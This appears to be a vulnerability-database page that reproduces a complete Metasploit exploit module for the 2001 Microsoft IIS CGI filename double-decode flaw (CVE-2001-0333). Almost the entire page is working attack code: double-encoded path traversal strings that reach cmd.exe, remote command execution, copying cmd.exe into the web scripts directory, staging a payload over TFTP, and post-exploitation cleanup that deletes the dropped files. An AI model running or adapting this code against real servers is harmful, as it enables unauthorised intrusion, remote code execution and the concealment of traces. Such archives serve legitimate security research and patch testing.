Lucene search
K

Microsoft IIS/PWS CGI Filename Double Decode Command Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

Microsoft IIS/PWS CGI Filename Double Decode Command Executio

Code

                                                ##
# $Id: ms01_026_dbldecode.rb 11513 2011-01-08 00:25:44Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/proto/tftp'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	# NOTE: This cannot be an HttpClient module since the response from the server
	# is not a valid HttpResponse
	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::CmdStagerTFTP

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft IIS/PWS CGI Filename Double Decode Command Execution',
			'Description'    => %q{
					This module will execute an arbitrary payload on a Microsoft IIS installation
				that is vulnerable to the CGI double-decode vulnerability of 2001.

				NOTE: This module will leave a metasploit payload in the IIS scripts directory.
			},
			'Author'         => [ 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11513 $',
			'References'     =>
				[
					[ 'CVE', '2001-0333' ],
					[ 'OSVDB', '556' ],
					[ 'BID', '2708' ],
					[ 'MSB', 'MS01-026' ],
					[ 'URL', 'http://marc.info/?l=bugtraq&m=98992056521300&w=2' ]
				],
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'May 15 2001'
		))

		register_options(
			[
				Opt::RPORT(80),
				OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
				OptString.new('CMD', [ false, 'Execute this command instead of using command stager', nil ])
			], self.class)

		framework.events.add_exploit_subscriber(self)
	end


	def dotdotslash
		possibilities = [
			"..%255c",
			"..%%35c",
			"..%%35%63",
			"..%25%35%63",
			".%252e/",
			"%252e./",
			"%%32%65./",
			".%%32%65/",
			".%25%32%65/",
			"%25%32%65./"
		]
		possibilities[rand(possibilities.length)]
	end


	def mini_http_request(opts, timeout=5)
		connect
		req = ''
		req << opts['method']
		req << ' '
		req << opts['uri']
		req << ' '
		req << "HTTP/1.0\r\n"
		req << "Host: #{datastore['RHOST']}\r\n"
		req << "\r\n"
		sock.put(req)

		# This isn't exactly awesome, but it seems to work..
		begin
			headers = sock.get_once(-1, timeout)
			body = sock.get_once(-1, timeout)
		rescue ::EOFError
			# nothing
		end

		if (datastore['DEBUG'])
			print_status("Headers:\n" + headers.inspect)
			print_status("Body:\n" + body.inspect)
		end
		disconnect
		[headers, body]
	end


	def check
		res = execute_command("dir")
		if (res.kind_of?(Array))
			body = res[1]
			if (body and body =~ /Directory of /)
				return Exploit::CheckCode::Vulnerable
			end
		end

		Exploit::CheckCode::Safe
	end


	#
	# NOTE: the command executes regardless of whether or not
	# a valid response is returned...
	#
	def execute_command(cmd, opts = {})

		# Don't try the start command...
		# Using the "start" method doesn't seem to make iis very happy :(
		return [nil,nil] if cmd =~ /^start [a-zA-Z]+\.exe$/

		print_status("Executing command: #{cmd}")

		uri = '/scripts/'
		exe = opts[:cgifname]
		if (not exe)
			uri << dotdotslash
			uri << dotdotslash
			uri << 'winnt/system32/cmd.exe'
		else
			uri << exe
		end
		uri << '?/x+/c+'
		uri << Rex::Text.uri_encode(cmd)

		if (datastore['VERBOSE'])
			print_status("Attemping to execute: #{uri}")
		end

		mini_http_request({
				'uri'     => uri,
				'method'  => 'GET',
			}, 20)
	end


	def exploit

		# first copy the file
		exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
		print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...")
		# NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory
		# However, it using %SystemRoot% doesn't seem to work :(
		res = execute_command("copy \\winnt\\system32\\cmd.exe #{exe_fname}")

		if (datastore['CMD'])
			res = execute_command(datastore['CMD'], { :cgifname => exe_fname })
			if (res[0])
				print_status("Command output:\n" + res[0])
			else
				print_error("No output received")
			end

			res = execute_command("del #{exe_fname}")
			return
		end

		# Use the CMD stager to get a payload running
		execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })

		# Save these file names for later deletion
		@exe_cmd_copy = exe_fname
		@exe_payload = payload_exe

		# Just for good measure, we'll make a quick, direct request for the payload
		# Using the "start" method doesn't seem to make iis very happy :(
		print_status("Triggering the payload via a direct request...")
		mini_http_request({ 'uri' => '/scripts/' + payload_exe, 'method' => 'GET' }, 1)

		handler

	end

	#
	# The following handles deleting the copied cmd.exe and payload exe!
	#
	def on_new_session(client)

		if client.type != "meterpreter"
			print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
			print_error("The copied exe and the payload exe must be removed manually.")
			return
		end

		return if not @exe_cmd_copy

		# stdapi must be loaded before we can use fs.file
		client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

		# Delete the copied CMD.exe
		print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...")
		client.fs.file.rm(@exe_cmd_copy)

		# Migrate so  that we can delete the payload exe
		client.console.run_single("run migrate -f")

		# Delete the payload exe
		return if not @exe_payload

		delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload

		print_status("Changing permissions on #{delete_me_too} ...")
		cmd = "C:\\winnt\\system32\\attrib.exe -r -h -s " + delete_me_too
		client.sys.process.execute(cmd, nil, {'Hidden' => true })

		print_status("Deleting #{delete_me_too} ...")
		begin
			client.fs.file.rm(delete_me_too)
		rescue ::Exception => e
			print_error("Exception: #{e.inspect}")
		end
	end

	def cleanup
		framework.events.remove_exploit_subscriber(self)
	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation